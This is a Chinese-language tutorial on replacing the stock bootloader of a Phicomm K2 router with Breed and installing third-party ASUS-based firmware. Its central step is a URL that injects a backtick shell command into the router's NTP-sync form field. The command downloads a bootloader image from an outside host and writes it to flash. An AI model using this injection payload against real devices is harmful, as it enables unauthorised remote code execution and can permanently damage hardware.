2016年6月28日，新的K2固件是21.4.5.4，UBOOT也是新版本，已經(jīng)不能降級，會提示image error，映像錯誤。
有牛人發(fā)現(xiàn)了斐訊K2系統(tǒng)的漏洞，可以執(zhí)行底層linux命令
一鍵刷breed：
1：路由器能正常上網(wǎng)，登陸進(jìn)路由器192.168.2.1 (默認(rèn)密碼admin)，這樣就成了登錄狀態(tài)
2：用瀏覽器打開這個網(wǎng)址，如果默認(rèn)ip不是192.168.2.1修改一下書名號內(nèi)的為代碼，將代碼復(fù)制并貼到瀏覽器地址欄，Enter即可在線刷breed，前提是已聯(lián)網(wǎng)，
http://192.168.2.1/goform/gra_NTPSyncWithLocal?text_year="2016|`if wget -O /tmp/breed.bin http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin;then mtd_write write /tmp/breed.bin Bootloader;echo breed ok! >/etc_ro/web/index.asp;fi`"
這段代碼的意思是通過漏洞 使用wget命令下載breed底層boot替代原廠的uboot，輸入這段命令要等大概1-5分鐘，才能完成，因?yàn)閣get下載breed也是需要時間的.
估計時間到了之后，再次訪問路由192.168.2.1，會顯示breed ok！字樣，就表示刷breed成功。
接下來進(jìn)入boot模式（我們刷了breed，此時boot就是breed）：
將路由用網(wǎng)線連接lan口和電腦，拔掉路由電源，按住reset不放，插上電源（此時按住reset不能松手），等待15秒后，松開，輸入192.168.1.1就進(jìn)入了breed。
進(jìn)入固件更新，選擇自己提前下載好的固件，我這里是RT-AC54U-GPIO-1-PSG1218-64M_3.4.3.9-099.trx,確認(rèn)就開始更新固件了，等待進(jìn)度條滿后，過幾十秒，再次進(jìn)入192.168.1.1，默認(rèn)賬號密碼admin，就進(jìn)入了安裝好的華碩固件，自己設(shè)置就行了。
